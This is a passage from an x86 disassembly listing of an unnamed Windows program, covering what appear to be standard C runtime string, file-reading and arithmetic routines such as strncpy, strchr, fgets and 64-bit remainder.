loc_4186BC: ; CODE XREF: sub_418533+181j
and [ebp+var_8], 0
jmp short loc_41870F
; ---------------------------------------------------------------------------
loc_4186C2: ; CODE XREF: sub_418533+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_4186E8
test cl, 1
jnz short loc_41870F
and ecx, 2
jz short loc_4186DF
cmp [ebp+var_8], 80000000h
ja short loc_4186E8
loc_4186DF: ; CODE XREF: sub_418533+1A1j
test ecx, ecx
jnz short loc_41870F
cmp [ebp+var_8], eax
jbe short loc_41870F
loc_4186E8: ; CODE XREF: sub_418533+197j
; sub_418533+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4894AC, 22h
jz short loc_4186FE
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41870F
; ---------------------------------------------------------------------------
loc_4186FE: ; CODE XREF: sub_418533+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41870F: ; CODE XREF: sub_418533+18Dj
; sub_418533+19Cj ...
test edx, edx
jz short loc_418718
mov eax, [ebp+var_4]
mov [edx], eax
loc_418718: ; CODE XREF: sub_418533+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_418726
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_418726: ; CODE XREF: sub_418533+1E9j
mov eax, [ebp+var_8]
jmp short loc_418736
; ---------------------------------------------------------------------------
loc_41872B: ; CODE XREF: sub_418533+66j
; sub_418533+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_418734
mov [eax], edi
loc_418734: ; CODE XREF: sub_418533+1FDj
xor eax, eax
loc_418736: ; CODE XREF: sub_418533+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_418533 endp
; =============== S U B R O U T I N E =======================================
sub_41873B proc near ; CODE XREF: sub_405285+4A6p
; sub_40EC43+372Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_418533
add esp, 10h
retn
sub_41873B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418752 proc near ; CODE XREF: sub_405285+24Cp
; sub_405285+450p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_4177B0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41D497
add esp, 10h
leave
retn
sub_418752 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418786 proc near ; CODE XREF: sub_4058E9+4Ep
; sub_406A71+30Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_4187AA
xor eax, eax
jmp loc_418853
; ---------------------------------------------------------------------------
loc_4187AA: ; CODE XREF: sub_418786+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_4187BD
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_4187C9
; ---------------------------------------------------------------------------
loc_4187BD: ; CODE XREF: sub_418786+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_4187C9
; ---------------------------------------------------------------------------
loc_4187C6: ; CODE XREF: sub_418786+C4j
mov ecx, [ebp+arg_0]
loc_4187C9: ; CODE XREF: sub_418786+35j
; sub_418786+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_4187FB
mov eax, [esi+4]
test eax, eax
jz short loc_4187FB
cmp ecx, eax
mov edi, ecx
jb short loc_4187E0
mov edi, eax
loc_4187E0: ; CODE XREF: sub_418786+56j
push edi
push dword ptr [esi]
push ebx
call sub_417090
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_418846
; ---------------------------------------------------------------------------
loc_4187FB: ; CODE XREF: sub_418786+49j
; sub_418786+50j
cmp ecx, [ebp+arg_C]
jb short loc_41882E
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_418811
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_418811: ; CODE XREF: sub_418786+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41E021
add esp, 0Ch
test eax, eax
jz short loc_418858
cmp eax, 0FFFFFFFFh
jz short loc_41885E
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_418846
; ---------------------------------------------------------------------------
loc_41882E: ; CODE XREF: sub_418786+78j
push esi
call sub_41DF48
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_418862
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_418846: ; CODE XREF: sub_418786+73j
; sub_418786+A6j
cmp [ebp+arg_0], 0
jnz loc_4187C6
mov eax, [ebp+arg_8]
loc_418853: ; CODE XREF: sub_418786+1Fj
; sub_418786+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_418858: ; CODE XREF: sub_418786+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_418862
; ---------------------------------------------------------------------------
loc_41885E: ; CODE XREF: sub_418786+9Fj
or dword ptr [esi+0Ch], 20h
loc_418862: ; CODE XREF: sub_418786+B2j
; sub_418786+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_418853
sub_418786 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41886E proc near ; CODE XREF: sub_405983+2A1p
; sub_405F35+100p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_418887: ; CODE XREF: sub_41886E+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_418887
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_4188AF
mov edx, dword_4894A8
loc_4188AF: ; CODE XREF: sub_41886E+39j
; sub_41886E+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_4188CF
test al, al
jz short loc_4188CF
inc edx
jmp short loc_4188AF
; ---------------------------------------------------------------------------
loc_4188CF: ; CODE XREF: sub_41886E+58j
; sub_41886E+5Cj
mov ebx, edx
loc_4188D1: ; CODE XREF: sub_41886E+81j
mov al, [edx]
test al, al
jz short loc_4188F5
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_4188F1
inc edx
jmp short loc_4188D1
; ---------------------------------------------------------------------------
loc_4188F1: ; CODE XREF: sub_41886E+7Ej
and byte ptr [edx], 0
inc edx
loc_4188F5: ; CODE XREF: sub_41886E+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4894A8, edx
and eax, ebx
pop ebx
leave
retn
sub_41886E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418910 proc near ; CODE XREF: sub_4061E4+1B3p
; sub_4070A3+6Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_418993
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_418934
shr ecx, 2
jnz short loc_4189A1
jmp short loc_418955
; ---------------------------------------------------------------------------
loc_418934: ; CODE XREF: sub_418910+1Bj
; sub_418910+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_418962
test al, al
jz short loc_41896A
test esi, 3
jnz short loc_418934
mov ebx, ecx
shr ecx, 2
jnz short loc_4189A1
loc_418950: ; CODE XREF: sub_418910+8Fj
and ebx, 3
jz short loc_418962
loc_418955: ; CODE XREF: sub_418910+22j
; sub_418910+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41898E
dec ebx
jnz short loc_418955
loc_418962: ; CODE XREF: sub_418910+2Bj
; sub_418910+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41896A: ; CODE XREF: sub_418910+2Fj
test edi, 3
jz short loc_418984
loc_418972: ; CODE XREF: sub_418910+72j
mov [edi], al
inc edi
dec ecx
jz loc_418A06
test edi, 3
jnz short loc_418972
loc_418984: ; CODE XREF: sub_418910+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_4189F7
loc_41898B: ; CODE XREF: sub_418910+7Fj
; sub_418910+F4j
mov [edi], al
inc edi
loc_41898E: ; CODE XREF: sub_418910+4Dj
dec ebx
jnz short loc_41898B
pop ebx
pop esi
loc_418993: ; CODE XREF: sub_418910+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418999: ; CODE XREF: sub_418910+A9j
; sub_418910+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_418950
loc_4189A1: ; CODE XREF: sub_418910+20j
; sub_418910+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_418999
test dl, dl
jz short loc_4189EB
test dh, dh
jz short loc_4189E1
test edx, 0FF0000h
jz short loc_4189D7
test edx, 0FF000000h
jnz short loc_418999
mov [edi], edx
jmp short loc_4189EF
; ---------------------------------------------------------------------------
loc_4189D7: ; CODE XREF: sub_418910+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_4189EF
; ---------------------------------------------------------------------------
loc_4189E1: ; CODE XREF: sub_418910+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_4189EF
; ---------------------------------------------------------------------------
loc_4189EB: ; CODE XREF: sub_418910+ADj
xor edx, edx
mov [edi], edx
loc_4189EF: ; CODE XREF: sub_418910+C5j
; sub_418910+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_418A01
loc_4189F7: ; CODE XREF: sub_418910+79j
xor eax, eax
loc_4189F9: ; CODE XREF: sub_418910+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_4189F9
loc_418A01: ; CODE XREF: sub_418910+E5j
and ebx, 3
jnz short loc_41898B
loc_418A06: ; CODE XREF: sub_418910+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_418910 endp
; =============== S U B R O U T I N E =======================================
sub_418A0E proc near ; CODE XREF: sub_406A71+2E2p
; sub_406A71+42Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_418A8A
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_418A2D
cmp edi, 1
jz short loc_418A2D
cmp edi, 2
jnz short loc_418A8A
loc_418A2D: ; CODE XREF: sub_418A0E+13j
; sub_418A0E+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_418A44
push esi
call sub_41E2B1
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_418A44: ; CODE XREF: sub_418A0E+27j
push esi
call sub_41A4D0
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_418A59
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_418A6D
; ---------------------------------------------------------------------------
loc_418A59: ; CODE XREF: sub_418A0E+42j
test al, 1
jz short loc_418A6D
test al, 8
jz short loc_418A6D
test ah, 4
jnz short loc_418A6D
mov dword ptr [esi+18h], 200h
loc_418A6D: ; CODE XREF: sub_418A0E+49j
; sub_418A0E+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_41E217
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_418A97
; ---------------------------------------------------------------------------
loc_418A8A: ; CODE XREF: sub_418A0E+Bj
; sub_418A0E+1Dj
mov dword_4894AC, 16h
or eax, 0FFFFFFFFh
loc_418A97: ; CODE XREF: sub_418A0E+7Aj
pop edi
pop esi
retn
sub_418A0E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AA0 proc near ; CODE XREF: sub_406A71+2ACp
; sub_406A71+2CDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_418AD1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_418ACF
jz short loc_418AD1
dec ecx
dec ecx
loc_418ACF: ; CODE XREF: sub_418AA0+29j
not ecx
loc_418AD1: ; CODE XREF: sub_418AA0+9j
; sub_418AA0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_418AA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418AE0 proc near ; CODE XREF: sub_406F62+5Cp
; sub_406F62+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_418B94
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_418B0A
loc_418AFB: ; CODE XREF: sub_418AE0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_418B3B
test edi, 3
jnz short loc_418AFB
loc_418B0A: ; CODE XREF: sub_418AE0+19j
; sub_418AE0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_418B0A
mov eax, [edi-4]
test al, al
jz short loc_418B48
test ah, ah
jz short loc_418B43
test eax, 0FF0000h
jz short loc_418B3E
test eax, 0FF000000h
jnz short loc_418B0A
loc_418B3B: ; CODE XREF: sub_418AE0+20j
dec edi
jmp short loc_418B4B
; ---------------------------------------------------------------------------
loc_418B3E: ; CODE XREF: sub_418AE0+52j
sub edi, 2
jmp short loc_418B4B
; ---------------------------------------------------------------------------
loc_418B43: ; CODE XREF: sub_418AE0+4Bj
sub edi, 3
jmp short loc_418B4B
; ---------------------------------------------------------------------------
loc_418B48: ; CODE XREF: sub_418AE0+47j
sub edi, 4
loc_418B4B: ; CODE XREF: sub_418AE0+5Cj
; sub_418AE0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_418B60
mov ebx, ecx
shr ecx, 2
jnz short loc_418BAC
jmp short loc_418B7C
; ---------------------------------------------------------------------------
loc_418B60: ; CODE XREF: sub_418AE0+75j
; sub_418AE0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_418B9A
mov [edi], dl
inc edi
dec ecx
jz short loc_418B90
test esi, 3
jnz short loc_418B60
mov ebx, ecx
shr ecx, 2
jnz short loc_418BAC
loc_418B7C: ; CODE XREF: sub_418AE0+7Ej
; sub_418AE0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_418B90
loc_418B83: ; CODE XREF: sub_418AE0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_418B92
dec ecx
jnz short loc_418B83
loc_418B90: ; CODE XREF: sub_418AE0+8Bj
; sub_418AE0+A1j
mov [edi], cl
loc_418B92: ; CODE XREF: sub_418AE0+ABj
pop ebx
pop esi
loc_418B94: ; CODE XREF: sub_418AE0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418B9A: ; CODE XREF: sub_418AE0+85j
; sub_418AE0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418BA4: ; CODE XREF: sub_418AE0+E4j
; sub_418AE0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_418B7C
loc_418BAC: ; CODE XREF: sub_418AE0+7Cj
; sub_418AE0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_418BA4
test dl, dl
jz short loc_418B9A
test dh, dh
jz short loc_418BF8
test edx, 0FF0000h
jz short loc_418BE8
test edx, 0FF000000h
jnz short loc_418BA4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418BE8: ; CODE XREF: sub_418AE0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418BF8: ; CODE XREF: sub_418AE0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_418AE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C10 proc near ; CODE XREF: sub_4070A3+2A2p
; sub_40EC43+31A1p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_418C31
xor eax, eax
jmp short loc_418C33
; ---------------------------------------------------------------------------
loc_418C31: ; CODE XREF: sub_418C10+1Bj
mov eax, edi
loc_418C33: ; CODE XREF: sub_418C10+1Fj
cld
pop edi
leave
retn
sub_418C10 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_418C50
loc_418C40: ; CODE XREF: sub_418C50+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_418C50
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418C50 proc near ; CODE XREF: sub_408A63+D9p
; sub_40D8F8+32p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00418C40 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_418C56: ; CODE XREF: sub_417580+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_418C7B
loc_418C68: ; CODE XREF: sub_418C50+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_418C40
test cl, cl
jz short loc_418CC4
test edx, 3
jnz short loc_418C68
loc_418C7B: ; CODE XREF: sub_418C50+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_418C86: ; CODE XREF: sub_418C50+61j
; sub_418C50+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_418CC8
and eax, 81010100h
jz short loc_418C86
and eax, 1010100h
jnz short loc_418CC2
and esi, 80000000h
jnz short loc_418C86
loc_418CC2: ; CODE XREF: sub_418C50+68j
; sub_418C50+81j ...
pop esi
pop edi
loc_418CC4: ; CODE XREF: sub_418C50+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418CC8: ; CODE XREF: sub_418C50+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_418D05
test al, al
jz short loc_418CC2
cmp ah, bl
jz short loc_418CFE
test ah, ah
jz short loc_418CC2
shr eax, 10h
cmp al, bl
jz short loc_418CF7
test al, al
jz short loc_418CC2
cmp ah, bl
jz short loc_418CF0
test ah, ah
jz short loc_418CC2
jmp short loc_418C86
; ---------------------------------------------------------------------------
loc_418CF0: ; CODE XREF: sub_418C50+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418CF7: ; CODE XREF: sub_418C50+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418CFE: ; CODE XREF: sub_418C50+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418D05: ; CODE XREF: sub_418C50+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_418C50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D0C proc near ; CODE XREF: sub_408A63+C6p
; sub_40EC43+47C1p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_418D20
xor eax, eax
jmp short loc_418D56
; ---------------------------------------------------------------------------
loc_418D20: ; CODE XREF: sub_418D0C+Ej
dec [ebp+arg_4]
push esi
jz short loc_418D50
mov esi, [ebp+arg_8]
loc_418D29: ; CODE XREF: sub_418D0C+42j
dec dword ptr [esi+4]
js short loc_418D38
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_418D3F
; ---------------------------------------------------------------------------
loc_418D38: ; CODE XREF: sub_418D0C+20j
push esi
call sub_41DF48
pop ecx
loc_418D3F: ; CODE XREF: sub_418D0C+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_418D5A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_418D50
dec [ebp+arg_4]
jnz short loc_418D29
loc_418D50: ; CODE XREF: sub_418D0C+18j
; sub_418D0C+3Dj ...
and byte ptr [edi], 0
loc_418D53: ; CODE XREF: sub_418D0C+55j
mov eax, ebx
pop esi
loc_418D56: ; CODE XREF: sub_418D0C+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418D5A: ; CODE XREF: sub_418D0C+36j
cmp edi, [ebp+arg_0]
jnz short loc_418D50
xor ebx, ebx
jmp short loc_418D53
sub_418D0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D63 proc near ; CODE XREF: sub_40904E+BFp
; sub_40904E+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_489540
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_418D97
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_418DFE
loc_418D7F: ; CODE XREF: sub_418D63+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_418D90
cmp cl, 7Ah
jg short loc_418D90
sub cl, 20h
mov [edx], cl
loc_418D90: ; CODE XREF: sub_418D63+21j
; sub_418D63+26j
inc edx
cmp [edx], bl
jnz short loc_418D7F
jmp short loc_418DFE
; ---------------------------------------------------------------------------
loc_418D97: ; CODE XREF: sub_418D63+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_41E409
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_418DF0
push edi
call sub_417889
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_418DF0
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_489540
call sub_41E409
add esp, 20h
test eax, eax
jz short loc_418DF0
push [ebp+var_4]
push [ebp+arg_0]
call sub_4176C0
pop ecx
pop ecx
loc_418DF0: ; CODE XREF: sub_418D63+53j
; sub_418D63+61j ...
push [ebp+var_4]
call sub_41793B
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_418DFE: ; CODE XREF: sub_418D63+1Aj
; sub_418D63+32j
pop ebx
leave
retn
sub_418D63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E01 proc near ; CODE XREF: sub_40A781+6p
; sub_40A79F+48p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_489540, 0
push ebx
push esi
push edi
jnz short loc_418E2E
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_418EC7
cmp eax, 5Ah
jg loc_418EC7
add eax, 20h
jmp loc_418EC7
; ---------------------------------------------------------------------------
loc_418E2E: ; CODE XREF: sub_418E01+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_418E62
cmp dword_438C8C, esi
jle short loc_418E50
push esi
push ebx
call sub_41A342
pop ecx
pop ecx
jmp short loc_418E5A
; ---------------------------------------------------------------------------
loc_418E50: ; CODE XREF: sub_418E01+42j
mov eax, off_438A80
mov al, [eax+ebx*2]
and eax, esi
loc_418E5A: ; CODE XREF: sub_418E01+4Dj
test eax, eax
jnz short loc_418E62
loc_418E5E: ; CODE XREF: sub_418E01+ADj
mov eax, ebx
jmp short loc_418EC7
; ---------------------------------------------------------------------------
loc_418E62: ; CODE XREF: sub_418E01+3Aj
; sub_418E01+5Bj
mov edx, off_438A80
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_418E86
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_418E8F
; ---------------------------------------------------------------------------
loc_418E86: ; CODE XREF: sub_418E01+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_418E8F: ; CODE XREF: sub_418E01+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_489540
call sub_41E409
add esp, 20h
test eax, eax
jz short loc_418E5E
cmp eax, esi
jnz short loc_418EBA
movzx eax, [ebp+var_4]
jmp short loc_418EC7
; ---------------------------------------------------------------------------
loc_418EBA: ; CODE XREF: sub_418E01+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_418EC7: ; CODE XREF: sub_418E01+16j
; sub_418E01+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_418E01 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418ED0 proc near ; CODE XREF: sub_40B637+3Dp
; sub_40CE23+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_418EF1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_418F41
; ---------------------------------------------------------------------------
loc_418EF1: ; CODE XREF: sub_418ED0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_418EFF: ; CODE XREF: sub_418ED0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_418EFF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_418F2A
cmp edx, [esp+4+arg_4]
ja short loc_418F2A
jb short loc_418F32
cmp eax, [esp+4+arg_0]
jbe short loc_418F32
loc_418F2A: ; CODE XREF: sub_418ED0+4Aj
; sub_418ED0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_418F32: ; CODE XREF: sub_418ED0+52j
; sub_418ED0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_418F41: ; CODE XREF: sub_418ED0+1Fj
pop ebx
retn 10h
sub_418ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418F50 proc near ; CODE XREF: sub_40B637+24p
; sub_40CE23+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
